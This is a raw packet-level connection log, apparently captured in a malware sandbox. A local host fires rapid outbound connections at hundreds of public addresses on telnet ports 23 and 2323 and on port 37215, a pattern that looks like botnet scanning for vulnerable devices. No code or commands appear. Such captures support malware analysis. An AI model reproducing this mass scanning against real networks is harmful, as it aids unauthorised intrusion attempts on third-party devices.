Oct 8, 2024 20:34:44.985023975 CEST	23	48168	211.128.147.132	192.168.2.14
Oct 8, 2024 20:34:44.985033035 CEST	23	48168	135.140.11.207	192.168.2.14
Oct 8, 2024 20:34:44.985037088 CEST	48168	23	192.168.2.14	65.250.167.95
Oct 8, 2024 20:34:44.985043049 CEST	23	48168	57.193.228.27	192.168.2.14
Oct 8, 2024 20:34:44.985044956 CEST	48168	23	192.168.2.14	103.30.216.72
Oct 8, 2024 20:34:44.985053062 CEST	23	48168	61.118.234.75	192.168.2.14
Oct 8, 2024 20:34:44.985064030 CEST	23	48168	115.96.173.62	192.168.2.14
Oct 8, 2024 20:34:44.985065937 CEST	48168	23	192.168.2.14	135.140.11.207
Oct 8, 2024 20:34:44.985073090 CEST	23	48168	4.10.5.219	192.168.2.14
Oct 8, 2024 20:34:44.985084057 CEST	48168	23	192.168.2.14	61.118.234.75
Oct 8, 2024 20:34:44.985105038 CEST	48168	23	192.168.2.14	115.96.173.62
Oct 8, 2024 20:34:44.985106945 CEST	48168	23	192.168.2.14	4.10.5.219
Oct 8, 2024 20:34:44.985109091 CEST	48168	23	192.168.2.14	211.128.147.132
Oct 8, 2024 20:34:44.985110044 CEST	48168	23	192.168.2.14	57.193.228.27
Oct 8, 2024 20:34:44.985137939 CEST	23	48168	208.102.96.86	192.168.2.14
Oct 8, 2024 20:34:44.985147953 CEST	23	48168	14.114.28.210	192.168.2.14
Oct 8, 2024 20:34:44.985177994 CEST	48168	23	192.168.2.14	208.102.96.86
Oct 8, 2024 20:34:44.985179901 CEST	23	48168	162.33.143.32	192.168.2.14
Oct 8, 2024 20:34:44.985189915 CEST	23	48168	73.220.234.71	192.168.2.14
Oct 8, 2024 20:34:44.985194921 CEST	2323	48168	133.167.80.38	192.168.2.14
Oct 8, 2024 20:34:44.985198021 CEST	23	48168	193.5.28.230	192.168.2.14
Oct 8, 2024 20:34:44.985202074 CEST	23	48168	111.37.91.169	192.168.2.14
Oct 8, 2024 20:34:44.985203981 CEST	48168	23	192.168.2.14	14.114.28.210
Oct 8, 2024 20:34:44.985212088 CEST	23	48168	71.29.202.225	192.168.2.14
Oct 8, 2024 20:34:44.985212088 CEST	48168	23	192.168.2.14	162.33.143.32
Oct 8, 2024 20:34:44.985220909 CEST	23	48168	71.135.54.150	192.168.2.14
Oct 8, 2024 20:34:44.985225916 CEST	23	48168	188.40.57.49	192.168.2.14
Oct 8, 2024 20:34:44.985234976 CEST	2323	48168	79.13.189.169	192.168.2.14
Oct 8, 2024 20:34:44.985244989 CEST	23	48168	57.3.156.236	192.168.2.14
Oct 8, 2024 20:34:44.985263109 CEST	48168	2323	192.168.2.14	133.167.80.38
Oct 8, 2024 20:34:44.985264063 CEST	48168	23	192.168.2.14	188.40.57.49
Oct 8, 2024 20:34:44.985264063 CEST	48168	23	192.168.2.14	71.135.54.150
Oct 8, 2024 20:34:44.985274076 CEST	48168	2323	192.168.2.14	79.13.189.169
Oct 8, 2024 20:34:44.985276937 CEST	48168	23	192.168.2.14	57.3.156.236
Oct 8, 2024 20:34:44.985287905 CEST	48168	23	192.168.2.14	73.220.234.71
Oct 8, 2024 20:34:44.985359907 CEST	48168	23	192.168.2.14	111.37.91.169
Oct 8, 2024 20:34:44.985361099 CEST	48168	23	192.168.2.14	193.5.28.230
Oct 8, 2024 20:34:44.985361099 CEST	48168	23	192.168.2.14	71.29.202.225
Oct 8, 2024 20:34:44.985373020 CEST	23	48168	5.66.82.57	192.168.2.14
Oct 8, 2024 20:34:44.985383034 CEST	23	48168	36.150.13.109	192.168.2.14
Oct 8, 2024 20:34:44.985393047 CEST	23	48168	136.135.99.203	192.168.2.14
Oct 8, 2024 20:34:44.985402107 CEST	23	48168	40.141.253.23	192.168.2.14
Oct 8, 2024 20:34:44.985410929 CEST	23	48168	103.53.165.71	192.168.2.14
Oct 8, 2024 20:34:44.985411882 CEST	48168	23	192.168.2.14	5.66.82.57
Oct 8, 2024 20:34:44.985419989 CEST	23	48168	102.107.33.118	192.168.2.14
Oct 8, 2024 20:34:44.985424995 CEST	48168	23	192.168.2.14	36.150.13.109
Oct 8, 2024 20:34:44.985429049 CEST	23	48168	166.97.76.241	192.168.2.14
Oct 8, 2024 20:34:44.985439062 CEST	23	48168	87.123.224.112	192.168.2.14
Oct 8, 2024 20:34:44.985439062 CEST	48168	23	192.168.2.14	136.135.99.203
Oct 8, 2024 20:34:44.985439062 CEST	48168	23	192.168.2.14	40.141.253.23
Oct 8, 2024 20:34:44.985447884 CEST	23	48168	122.233.212.231	192.168.2.14
Oct 8, 2024 20:34:44.985452890 CEST	48168	23	192.168.2.14	103.53.165.71
Oct 8, 2024 20:34:44.985455036 CEST	48168	23	192.168.2.14	102.107.33.118
Oct 8, 2024 20:34:44.985455990 CEST	23	48168	161.30.195.237	192.168.2.14
Oct 8, 2024 20:34:44.985465050 CEST	23	48168	100.215.71.159	192.168.2.14
Oct 8, 2024 20:34:44.985470057 CEST	48168	23	192.168.2.14	166.97.76.241
Oct 8, 2024 20:34:44.985479116 CEST	48168	23	192.168.2.14	122.233.212.231
Oct 8, 2024 20:34:44.985487938 CEST	48168	23	192.168.2.14	161.30.195.237
Oct 8, 2024 20:34:44.985511065 CEST	2323	48168	130.223.129.219	192.168.2.14
Oct 8, 2024 20:34:44.985521078 CEST	23	48168	149.240.95.52	192.168.2.14
Oct 8, 2024 20:34:44.985527039 CEST	48168	23	192.168.2.14	100.215.71.159
Oct 8, 2024 20:34:44.985528946 CEST	48168	23	192.168.2.14	87.123.224.112
Oct 8, 2024 20:34:44.985528946 CEST	23	48168	202.75.205.164	192.168.2.14
Oct 8, 2024 20:34:44.985542059 CEST	23	48168	155.69.235.137	192.168.2.14
Oct 8, 2024 20:34:44.985551119 CEST	48168	23	192.168.2.14	149.240.95.52
Oct 8, 2024 20:34:44.985551119 CEST	23	48168	193.236.106.148	192.168.2.14
Oct 8, 2024 20:34:44.985562086 CEST	48168	2323	192.168.2.14	130.223.129.219
Oct 8, 2024 20:34:44.985562086 CEST	48168	23	192.168.2.14	202.75.205.164
Oct 8, 2024 20:34:44.985563040 CEST	23	48168	147.6.94.203	192.168.2.14
Oct 8, 2024 20:34:44.985573053 CEST	2323	48168	66.188.177.166	192.168.2.14
Oct 8, 2024 20:34:44.985577106 CEST	48168	23	192.168.2.14	155.69.235.137
Oct 8, 2024 20:34:44.985582113 CEST	23	48168	201.123.139.26	192.168.2.14
Oct 8, 2024 20:34:44.985585928 CEST	48168	23	192.168.2.14	193.236.106.148
Oct 8, 2024 20:34:44.985593081 CEST	23	48168	34.139.1.111	192.168.2.14
Oct 8, 2024 20:34:44.985601902 CEST	23	48168	163.200.71.84	192.168.2.14
Oct 8, 2024 20:34:44.985610962 CEST	23	48168	82.74.157.189	192.168.2.14
Oct 8, 2024 20:34:44.985615015 CEST	48168	23	192.168.2.14	147.6.94.203
Oct 8, 2024 20:34:44.985615015 CEST	48168	23	192.168.2.14	201.123.139.26
Oct 8, 2024 20:34:44.985618114 CEST	48168	2323	192.168.2.14	66.188.177.166
Oct 8, 2024 20:34:44.985620975 CEST	23	48168	86.76.81.148	192.168.2.14
Oct 8, 2024 20:34:44.985626936 CEST	48168	23	192.168.2.14	163.200.71.84
Oct 8, 2024 20:34:44.985629082 CEST	23	48168	181.155.168.139	192.168.2.14
Oct 8, 2024 20:34:44.985639095 CEST	23	48168	209.128.47.32	192.168.2.14
Oct 8, 2024 20:34:44.985647917 CEST	48168	23	192.168.2.14	34.139.1.111
Oct 8, 2024 20:34:44.985647917 CEST	48168	23	192.168.2.14	86.76.81.148
Oct 8, 2024 20:34:44.985649109 CEST	23	48168	195.192.231.61	192.168.2.14
Oct 8, 2024 20:34:44.985656977 CEST	48168	23	192.168.2.14	82.74.157.189
Oct 8, 2024 20:34:44.985658884 CEST	23	48168	189.183.243.132	192.168.2.14
Oct 8, 2024 20:34:44.985666990 CEST	23	48168	222.95.48.218	192.168.2.14
Oct 8, 2024 20:34:44.985672951 CEST	48168	23	192.168.2.14	181.155.168.139
Oct 8, 2024 20:34:44.985681057 CEST	48168	23	192.168.2.14	209.128.47.32
Oct 8, 2024 20:34:44.985681057 CEST	48168	23	192.168.2.14	195.192.231.61
Oct 8, 2024 20:34:44.985685110 CEST	23	48168	34.113.51.170	192.168.2.14
Oct 8, 2024 20:34:44.985690117 CEST	48168	23	192.168.2.14	189.183.243.132
Oct 8, 2024 20:34:44.985693932 CEST	2323	48168	117.192.63.101	192.168.2.14
Oct 8, 2024 20:34:44.985701084 CEST	48168	23	192.168.2.14	222.95.48.218
Oct 8, 2024 20:34:44.985702991 CEST	23	48168	38.15.66.62	192.168.2.14
Oct 8, 2024 20:34:44.985712051 CEST	23	48168	35.150.47.89	192.168.2.14
Oct 8, 2024 20:34:44.985721111 CEST	23	48168	110.132.9.138	192.168.2.14
Oct 8, 2024 20:34:44.985722065 CEST	48168	23	192.168.2.14	34.113.51.170
Oct 8, 2024 20:34:44.985728979 CEST	23	48168	197.165.157.118	192.168.2.14
Oct 8, 2024 20:34:44.985737085 CEST	48168	2323	192.168.2.14	117.192.63.101
Oct 8, 2024 20:34:44.985740900 CEST	23	48168	9.188.46.201	192.168.2.14
Oct 8, 2024 20:34:44.985743999 CEST	48168	23	192.168.2.14	38.15.66.62
Oct 8, 2024 20:34:44.985750914 CEST	2323	48168	76.241.132.158	192.168.2.14
Oct 8, 2024 20:34:44.985759020 CEST	48168	23	192.168.2.14	110.132.9.138
Oct 8, 2024 20:34:44.985760927 CEST	23	48168	202.227.61.25	192.168.2.14
Oct 8, 2024 20:34:44.985769033 CEST	48168	23	192.168.2.14	35.150.47.89
Oct 8, 2024 20:34:44.985770941 CEST	23	48168	66.197.183.196	192.168.2.14
Oct 8, 2024 20:34:44.985780954 CEST	23	48168	99.156.161.91	192.168.2.14
Oct 8, 2024 20:34:44.985789061 CEST	48168	2323	192.168.2.14	76.241.132.158
Oct 8, 2024 20:34:44.985790968 CEST	23	48168	5.113.78.38	192.168.2.14
Oct 8, 2024 20:34:44.985801935 CEST	23	48168	115.153.192.172	192.168.2.14
Oct 8, 2024 20:34:44.985805035 CEST	48168	23	192.168.2.14	66.197.183.196
Oct 8, 2024 20:34:44.985805035 CEST	48168	23	192.168.2.14	9.188.46.201
Oct 8, 2024 20:34:44.985805035 CEST	48168	23	192.168.2.14	202.227.61.25
Oct 8, 2024 20:34:44.985810041 CEST	23	48168	218.185.118.120	192.168.2.14
Oct 8, 2024 20:34:44.985821009 CEST	48168	23	192.168.2.14	99.156.161.91
Oct 8, 2024 20:34:44.985824108 CEST	48168	23	192.168.2.14	5.113.78.38
Oct 8, 2024 20:34:44.985836029 CEST	48168	23	192.168.2.14	115.153.192.172
Oct 8, 2024 20:34:44.985852003 CEST	48168	23	192.168.2.14	218.185.118.120
Oct 8, 2024 20:34:44.985858917 CEST	48168	23	192.168.2.14	197.165.157.118
Oct 8, 2024 20:34:44.985868931 CEST	23	48168	146.251.2.192	192.168.2.14
Oct 8, 2024 20:34:44.985877991 CEST	23	48168	200.155.222.250	192.168.2.14
Oct 8, 2024 20:34:44.985888004 CEST	23	48168	47.36.105.35	192.168.2.14
Oct 8, 2024 20:34:44.985896111 CEST	23	48168	85.123.232.131	192.168.2.14
Oct 8, 2024 20:34:44.985904932 CEST	23	48168	114.16.108.37	192.168.2.14
Oct 8, 2024 20:34:44.985912085 CEST	48168	23	192.168.2.14	200.155.222.250
Oct 8, 2024 20:34:44.985913992 CEST	23	48168	112.189.200.201	192.168.2.14
Oct 8, 2024 20:34:44.985915899 CEST	48168	23	192.168.2.14	146.251.2.192
Oct 8, 2024 20:34:44.985924006 CEST	23	48168	219.138.214.99	192.168.2.14
Oct 8, 2024 20:34:44.985934019 CEST	48168	23	192.168.2.14	47.36.105.35
Oct 8, 2024 20:34:44.985934973 CEST	48168	23	192.168.2.14	85.123.232.131
Oct 8, 2024 20:34:44.985987902 CEST	36914	23	192.168.2.14	9.235.110.159
Oct 8, 2024 20:34:44.985989094 CEST	48168	23	192.168.2.14	112.189.200.201
Oct 8, 2024 20:34:44.985989094 CEST	48168	23	192.168.2.14	114.16.108.37
Oct 8, 2024 20:34:44.985989094 CEST	48168	23	192.168.2.14	219.138.214.99
Oct 8, 2024 20:34:44.986095905 CEST	48169	37215	192.168.2.14	197.68.227.157
Oct 8, 2024 20:34:44.986098051 CEST	48169	37215	192.168.2.14	156.140.46.99
Oct 8, 2024 20:34:44.986102104 CEST	48169	37215	192.168.2.14	156.132.73.35
Oct 8, 2024 20:34:44.986102104 CEST	48169	37215	192.168.2.14	197.253.88.6
Oct 8, 2024 20:34:44.986114025 CEST	48169	37215	192.168.2.14	41.70.45.230
Oct 8, 2024 20:34:44.986114979 CEST	48169	37215	192.168.2.14	156.17.198.244
Oct 8, 2024 20:34:44.986129045 CEST	48169	37215	192.168.2.14	197.15.49.80
Oct 8, 2024 20:34:44.986130953 CEST	48169	37215	192.168.2.14	197.204.221.104
Oct 8, 2024 20:34:44.986131907 CEST	48169	37215	192.168.2.14	156.0.47.55
Oct 8, 2024 20:34:44.986131907 CEST	48169	37215	192.168.2.14	41.112.26.69
Oct 8, 2024 20:34:44.986143112 CEST	48169	37215	192.168.2.14	41.75.229.68
Oct 8, 2024 20:34:44.986145973 CEST	48169	37215	192.168.2.14	197.172.190.102
Oct 8, 2024 20:34:44.986145973 CEST	48169	37215	192.168.2.14	41.52.251.173
Oct 8, 2024 20:34:44.986145973 CEST	48169	37215	192.168.2.14	156.41.106.28
Oct 8, 2024 20:34:44.986146927 CEST	48169	37215	192.168.2.14	197.231.162.60
Oct 8, 2024 20:34:44.986155987 CEST	48169	37215	192.168.2.14	41.131.29.243
Oct 8, 2024 20:34:44.986155987 CEST	48169	37215	192.168.2.14	41.57.214.210
Oct 8, 2024 20:34:44.986155987 CEST	48169	37215	192.168.2.14	41.8.244.14
Oct 8, 2024 20:34:44.986166000 CEST	48169	37215	192.168.2.14	197.32.252.103
Oct 8, 2024 20:34:44.986176014 CEST	48169	37215	192.168.2.14	197.18.97.14
Oct 8, 2024 20:34:44.986176968 CEST	48169	37215	192.168.2.14	156.26.133.119
Oct 8, 2024 20:34:44.986176968 CEST	48169	37215	192.168.2.14	41.231.170.181
Oct 8, 2024 20:34:44.986179113 CEST	2323	47284	205.120.223.78	192.168.2.14
Oct 8, 2024 20:34:44.986181021 CEST	48169	37215	192.168.2.14	156.78.133.220
Oct 8, 2024 20:34:44.986192942 CEST	48169	37215	192.168.2.14	197.126.211.247
Oct 8, 2024 20:34:44.986192942 CEST	48169	37215	192.168.2.14	41.24.137.82
Oct 8, 2024 20:34:44.986196041 CEST	48169	37215	192.168.2.14	156.202.119.78
Oct 8, 2024 20:34:44.986211061 CEST	48169	37215	192.168.2.14	156.77.7.169
Oct 8, 2024 20:34:44.986211061 CEST	48169	37215	192.168.2.14	41.241.174.158
Oct 8, 2024 20:34:44.986207962 CEST	48169	37215	192.168.2.14	41.238.225.59
Oct 8, 2024 20:34:44.986212969 CEST	48169	37215	192.168.2.14	156.123.191.40
Oct 8, 2024 20:34:44.986213923 CEST	48169	37215	192.168.2.14	197.153.204.158
Oct 8, 2024 20:34:44.986241102 CEST	48169	37215	192.168.2.14	41.58.118.96
Oct 8, 2024 20:34:44.986241102 CEST	48169	37215	192.168.2.14	197.153.39.3
Oct 8, 2024 20:34:44.986241102 CEST	47284	2323	192.168.2.14	205.120.223.78
Oct 8, 2024 20:34:44.986241102 CEST	48169	37215	192.168.2.14	197.144.191.97
Oct 8, 2024 20:34:44.986253023 CEST	48169	37215	192.168.2.14	197.207.241.65
Oct 8, 2024 20:34:44.986253977 CEST	48169	37215	192.168.2.14	41.36.42.133
Oct 8, 2024 20:34:44.986253977 CEST	48169	37215	192.168.2.14	41.233.118.37
Oct 8, 2024 20:34:44.986264944 CEST	48169	37215	192.168.2.14	41.113.7.78
Oct 8, 2024 20:34:44.986283064 CEST	48169	37215	192.168.2.14	41.53.65.212
Oct 8, 2024 20:34:44.986283064 CEST	48169	37215	192.168.2.14	41.168.97.59
Oct 8, 2024 20:34:44.986284971 CEST	48169	37215	192.168.2.14	41.234.186.12
Oct 8, 2024 20:34:44.986294985 CEST	48169	37215	192.168.2.14	197.235.88.82
Oct 8, 2024 20:34:44.986296892 CEST	48169	37215	192.168.2.14	156.68.227.205
Oct 8, 2024 20:34:44.986296892 CEST	48169	37215	192.168.2.14	41.103.46.183
Oct 8, 2024 20:34:44.986296892 CEST	48169	37215	192.168.2.14	156.140.115.72
Oct 8, 2024 20:34:44.986296892 CEST	48169	37215	192.168.2.14	156.143.116.44
Oct 8, 2024 20:34:44.986296892 CEST	48169	37215	192.168.2.14	156.117.14.9
Oct 8, 2024 20:34:44.986305952 CEST	48169	37215	192.168.2.14	197.175.91.172
Oct 8, 2024 20:34:44.986314058 CEST	48169	37215	192.168.2.14	197.206.105.52
Oct 8, 2024 20:34:44.986314058 CEST	48169	37215	192.168.2.14	41.248.96.190
Oct 8, 2024 20:34:44.986315966 CEST	48169	37215	192.168.2.14	197.52.19.206
Oct 8, 2024 20:34:44.986332893 CEST	48169	37215	192.168.2.14	41.183.75.82
Oct 8, 2024 20:34:44.986334085 CEST	48169	37215	192.168.2.14	41.63.167.106
Oct 8, 2024 20:34:44.986332893 CEST	48169	37215	192.168.2.14	41.17.167.67
Oct 8, 2024 20:34:44.986334085 CEST	48169	37215	192.168.2.14	197.182.89.239
Oct 8, 2024 20:34:44.986335039 CEST	48169	37215	192.168.2.14	156.204.90.181
Oct 8, 2024 20:34:44.986341000 CEST	48169	37215	192.168.2.14	197.131.205.177
Oct 8, 2024 20:34:44.986342907 CEST	48169	37215	192.168.2.14	156.178.157.57
Oct 8, 2024 20:34:44.986342907 CEST	48169	37215	192.168.2.14	197.227.245.0
Oct 8, 2024 20:34:44.986357927 CEST	48169	37215	192.168.2.14	41.165.210.76
Oct 8, 2024 20:34:44.986377954 CEST	48169	37215	192.168.2.14	41.29.84.31
Oct 8, 2024 20:34:44.986377954 CEST	48169	37215	192.168.2.14	197.85.222.136
Oct 8, 2024 20:34:44.986380100 CEST	48169	37215	192.168.2.14	197.116.148.23
Oct 8, 2024 20:34:44.986381054 CEST	48169	37215	192.168.2.14	197.66.209.51
Oct 8, 2024 20:34:44.986396074 CEST	48169	37215	192.168.2.14	41.33.169.74
Oct 8, 2024 20:34:44.986397982 CEST	48169	37215	192.168.2.14	197.230.239.108
Oct 8, 2024 20:34:44.986397982 CEST	48169	37215	192.168.2.14	197.251.46.165
Oct 8, 2024 20:34:44.986404896 CEST	48169	37215	192.168.2.14	41.43.131.31
Oct 8, 2024 20:34:44.986404896 CEST	48169	37215	192.168.2.14	197.181.129.198
Oct 8, 2024 20:34:44.986404896 CEST	48169	37215	192.168.2.14	197.136.207.229
Oct 8, 2024 20:34:44.986411095 CEST	48169	37215	192.168.2.14	197.119.199.214
Oct 8, 2024 20:34:44.986417055 CEST	48169	37215	192.168.2.14	41.181.150.58
Oct 8, 2024 20:34:44.986418962 CEST	48169	37215	192.168.2.14	156.241.14.40
Oct 8, 2024 20:34:44.986419916 CEST	48169	37215	192.168.2.14	197.170.162.119
Oct 8, 2024 20:34:44.986421108 CEST	48169	37215	192.168.2.14	156.128.187.210
Oct 8, 2024 20:34:44.986428976 CEST	48169	37215	192.168.2.14	41.142.153.209
Oct 8, 2024 20:34:44.986428976 CEST	48169	37215	192.168.2.14	41.190.116.239
Oct 8, 2024 20:34:44.986435890 CEST	48169	37215	192.168.2.14	156.100.254.93
Oct 8, 2024 20:34:44.986438990 CEST	48169	37215	192.168.2.14	197.193.228.179
Oct 8, 2024 20:34:44.986438990 CEST	48169	37215	192.168.2.14	156.139.235.66
Oct 8, 2024 20:34:44.986464977 CEST	48169	37215	192.168.2.14	197.50.111.128
Oct 8, 2024 20:34:44.986464977 CEST	48169	37215	192.168.2.14	197.69.121.59
Oct 8, 2024 20:34:44.986488104 CEST	48169	37215	192.168.2.14	156.7.31.74
Oct 8, 2024 20:34:44.986488104 CEST	48169	37215	192.168.2.14	156.68.4.171
Oct 8, 2024 20:34:44.986489058 CEST	48169	37215	192.168.2.14	156.251.188.39
Oct 8, 2024 20:34:44.986496925 CEST	48169	37215	192.168.2.14	156.233.248.247
Oct 8, 2024 20:34:44.986498117 CEST	48169	37215	192.168.2.14	197.63.148.247
Oct 8, 2024 20:34:44.986496925 CEST	48169	37215	192.168.2.14	156.113.55.27
Oct 8, 2024 20:34:44.986505985 CEST	48169	37215	192.168.2.14	41.246.194.222
Oct 8, 2024 20:34:44.986506939 CEST	48169	37215	192.168.2.14	156.246.167.115
Oct 8, 2024 20:34:44.986506939 CEST	48169	37215	192.168.2.14	156.232.59.181
Oct 8, 2024 20:34:44.986506939 CEST	48169	37215	192.168.2.14	197.164.205.165
Oct 8, 2024 20:34:44.986507893 CEST	48169	37215	192.168.2.14	197.49.221.177
Oct 8, 2024 20:34:44.986507893 CEST	48169	37215	192.168.2.14	41.113.171.178
Oct 8, 2024 20:34:44.986519098 CEST	48169	37215	192.168.2.14	197.236.126.175
Oct 8, 2024 20:34:44.986519098 CEST	48169	37215	192.168.2.14	156.54.204.69
Oct 8, 2024 20:34:44.986519098 CEST	48169	37215	192.168.2.14	156.154.185.86
Oct 8, 2024 20:34:44.986526966 CEST	48169	37215	192.168.2.14	156.114.127.246
Oct 8, 2024 20:34:44.986529112 CEST	48169	37215	192.168.2.14	156.175.163.8
Oct 8, 2024 20:34:44.986536980 CEST	48169	37215	192.168.2.14	41.248.71.231
Oct 8, 2024 20:34:44.986542940 CEST	48169	37215	192.168.2.14	41.43.246.203
Oct 8, 2024 20:34:44.986542940 CEST	48169	37215	192.168.2.14	156.204.192.142
Oct 8, 2024 20:34:44.986543894 CEST	48169	37215	192.168.2.14	41.221.142.125
Oct 8, 2024 20:34:44.986542940 CEST	48169	37215	192.168.2.14	156.78.104.183
Oct 8, 2024 20:34:44.986547947 CEST	48169	37215	192.168.2.14	41.159.160.168
Oct 8, 2024 20:34:44.986566067 CEST	48169	37215	192.168.2.14	197.142.144.99
Oct 8, 2024 20:34:44.986566067 CEST	48169	37215	192.168.2.14	197.254.205.237
Oct 8, 2024 20:34:44.986567020 CEST	48169	37215	192.168.2.14	41.4.117.34
Oct 8, 2024 20:34:44.986568928 CEST	48169	37215	192.168.2.14	156.31.115.154
Oct 8, 2024 20:34:44.986569881 CEST	48169	37215	192.168.2.14	197.158.112.134
Oct 8, 2024 20:34:44.986576080 CEST	48169	37215	192.168.2.14	197.166.180.143
Oct 8, 2024 20:34:44.986582041 CEST	48169	37215	192.168.2.14	156.32.65.128
Oct 8, 2024 20:34:44.986586094 CEST	48169	37215	192.168.2.14	41.120.207.157
Oct 8, 2024 20:34:44.986586094 CEST	48169	37215	192.168.2.14	156.85.35.197
Oct 8, 2024 20:34:44.986593008 CEST	48169	37215	192.168.2.14	41.119.250.105
Oct 8, 2024 20:34:44.986608028 CEST	48169	37215	192.168.2.14	197.75.113.3
Oct 8, 2024 20:34:44.986608982 CEST	48169	37215	192.168.2.14	41.101.10.233
Oct 8, 2024 20:34:44.986609936 CEST	48169	37215	192.168.2.14	197.150.181.16
Oct 8, 2024 20:34:44.986613989 CEST	48169	37215	192.168.2.14	156.175.244.94
Oct 8, 2024 20:34:44.986656904 CEST	48169	37215	192.168.2.14	156.103.135.84
Oct 8, 2024 20:34:44.986658096 CEST	48169	37215	192.168.2.14	197.185.126.210
Oct 8, 2024 20:34:44.986658096 CEST	48169	37215	192.168.2.14	41.126.160.198
Oct 8, 2024 20:34:44.986666918 CEST	48169	37215	192.168.2.14	197.4.93.117
Oct 8, 2024 20:34:44.986668110 CEST	48169	37215	192.168.2.14	41.222.78.210
Oct 8, 2024 20:34:44.986668110 CEST	48169	37215	192.168.2.14	156.76.230.26
Oct 8, 2024 20:34:44.986668110 CEST	48169	37215	192.168.2.14	41.60.24.184
Oct 8, 2024 20:34:44.986673117 CEST	48169	37215	192.168.2.14	156.120.66.183
Oct 8, 2024 20:34:44.986673117 CEST	48169	37215	192.168.2.14	41.103.36.53
Oct 8, 2024 20:34:44.986676931 CEST	48169	37215	192.168.2.14	197.72.109.27
Oct 8, 2024 20:34:44.986694098 CEST	48169	37215	192.168.2.14	41.134.252.116
Oct 8, 2024 20:34:44.986699104 CEST	48169	37215	192.168.2.14	156.76.143.207
Oct 8, 2024 20:34:44.986700058 CEST	48169	37215	192.168.2.14	197.94.109.242
Oct 8, 2024 20:34:44.986700058 CEST	48169	37215	192.168.2.14	41.128.247.163
Oct 8, 2024 20:34:44.986702919 CEST	48169	37215	192.168.2.14	156.113.16.145
Oct 8, 2024 20:34:44.986702919 CEST	48169	37215	192.168.2.14	41.110.146.162
Oct 8, 2024 20:34:44.986702919 CEST	48169	37215	192.168.2.14	197.171.200.155
Oct 8, 2024 20:34:44.986713886 CEST	48169	37215	192.168.2.14	41.251.163.147
Oct 8, 2024 20:34:44.986713886 CEST	48169	37215	192.168.2.14	156.170.201.189
Oct 8, 2024 20:34:44.986716032 CEST	48169	37215	192.168.2.14	156.219.120.59
Oct 8, 2024 20:34:44.986720085 CEST	48169	37215	192.168.2.14	41.151.123.51
Oct 8, 2024 20:34:44.986720085 CEST	48169	37215	192.168.2.14	41.5.202.46
Oct 8, 2024 20:34:44.986725092 CEST	48169	37215	192.168.2.14	156.6.130.160
Oct 8, 2024 20:34:44.986725092 CEST	48169	37215	192.168.2.14	41.253.81.8
Oct 8, 2024 20:34:44.986742020 CEST	48169	37215	192.168.2.14	41.33.226.205
Oct 8, 2024 20:34:44.986742973 CEST	48169	37215	192.168.2.14	41.205.109.234
Oct 8, 2024 20:34:44.986748934 CEST	48169	37215	192.168.2.14	197.199.96.10
Oct 8, 2024 20:34:44.986748934 CEST	48169	37215	192.168.2.14	41.69.195.162
Oct 8, 2024 20:34:44.986748934 CEST	48169	37215	192.168.2.14	41.222.55.98
Oct 8, 2024 20:34:44.986748934 CEST	48169	37215	192.168.2.14	41.128.106.194
Oct 8, 2024 20:34:44.986751080 CEST	48169	37215	192.168.2.14	197.178.244.204
Oct 8, 2024 20:34:44.986754894 CEST	48169	37215	192.168.2.14	156.222.127.136
Oct 8, 2024 20:34:44.986757994 CEST	48169	37215	192.168.2.14	156.171.48.186
Oct 8, 2024 20:34:44.986771107 CEST	48169	37215	192.168.2.14	41.117.155.197
Oct 8, 2024 20:34:44.986788034 CEST	48169	37215	192.168.2.14	197.81.243.111
Oct 8, 2024 20:34:44.986789942 CEST	48169	37215	192.168.2.14	156.254.238.149
Oct 8, 2024 20:34:44.986790895 CEST	48169	37215	192.168.2.14	156.140.130.220
Oct 8, 2024 20:34:44.986790895 CEST	48169	37215	192.168.2.14	197.66.89.151
Oct 8, 2024 20:34:44.986792088 CEST	48169	37215	192.168.2.14	41.246.241.194
Oct 8, 2024 20:34:44.986810923 CEST	48169	37215	192.168.2.14	41.85.62.225
Oct 8, 2024 20:34:44.986810923 CEST	48169	37215	192.168.2.14	156.102.46.114
Oct 8, 2024 20:34:44.986819029 CEST	48169	37215	192.168.2.14	197.241.177.9
Oct 8, 2024 20:34:44.986826897 CEST	48169	37215	192.168.2.14	197.134.209.250
Oct 8, 2024 20:34:44.986836910 CEST	48169	37215	192.168.2.14	197.39.197.89
Oct 8, 2024 20:34:44.986839056 CEST	48169	37215	192.168.2.14	41.133.68.189
Oct 8, 2024 20:34:44.986841917 CEST	48169	37215	192.168.2.14	156.64.182.211
Oct 8, 2024 20:34:44.986844063 CEST	48169	37215	192.168.2.14	41.45.179.67
Oct 8, 2024 20:34:44.986860037 CEST	48169	37215	192.168.2.14	156.215.58.87
Oct 8, 2024 20:34:44.986865044 CEST	48169	37215	192.168.2.14	41.216.68.117
Oct 8, 2024 20:34:44.986866951 CEST	48169	37215	192.168.2.14	197.119.84.33
Oct 8, 2024 20:34:44.986866951 CEST	48169	37215	192.168.2.14	41.83.149.171
Oct 8, 2024 20:34:44.986867905 CEST	48169	37215	192.168.2.14	156.211.97.197
Oct 8, 2024 20:34:44.986867905 CEST	48169	37215	192.168.2.14	41.188.217.47
Oct 8, 2024 20:34:44.986869097 CEST	48169	37215	192.168.2.14	41.23.107.232
Oct 8, 2024 20:34:44.986869097 CEST	48169	37215	192.168.2.14	156.168.32.211
Oct 8, 2024 20:34:44.986869097 CEST	48169	37215	192.168.2.14	197.132.195.225
Oct 8, 2024 20:34:44.986897945 CEST	48169	37215	192.168.2.14	156.58.253.102
Oct 8, 2024 20:34:44.986898899 CEST	48169	37215	192.168.2.14	156.139.141.95
Oct 8, 2024 20:34:44.986898899 CEST	48169	37215	192.168.2.14	156.111.195.77
Oct 8, 2024 20:34:44.986897945 CEST	48169	37215	192.168.2.14	41.204.188.231
Oct 8, 2024 20:34:44.986916065 CEST	48169	37215	192.168.2.14	41.244.191.147
Oct 8, 2024 20:34:44.986916065 CEST	48169	37215	192.168.2.14	156.77.180.133
Oct 8, 2024 20:34:44.986917973 CEST	48169	37215	192.168.2.14	41.173.148.97
Oct 8, 2024 20:34:44.986920118 CEST	48169	37215	192.168.2.14	156.78.58.184
Oct 8, 2024 20:34:44.986939907 CEST	48169	37215	192.168.2.14	156.105.5.215
Oct 8, 2024 20:34:44.986939907 CEST	48169	37215	192.168.2.14	156.106.16.85
Oct 8, 2024 20:34:44.986944914 CEST	48169	37215	192.168.2.14	41.130.213.49
Oct 8, 2024 20:34:44.986948967 CEST	48169	37215	192.168.2.14	156.92.119.15
Oct 8, 2024 20:34:44.986948967 CEST	48169	37215	192.168.2.14	156.50.137.255
Oct 8, 2024 20:34:44.986957073 CEST	48169	37215	192.168.2.14	156.168.250.129
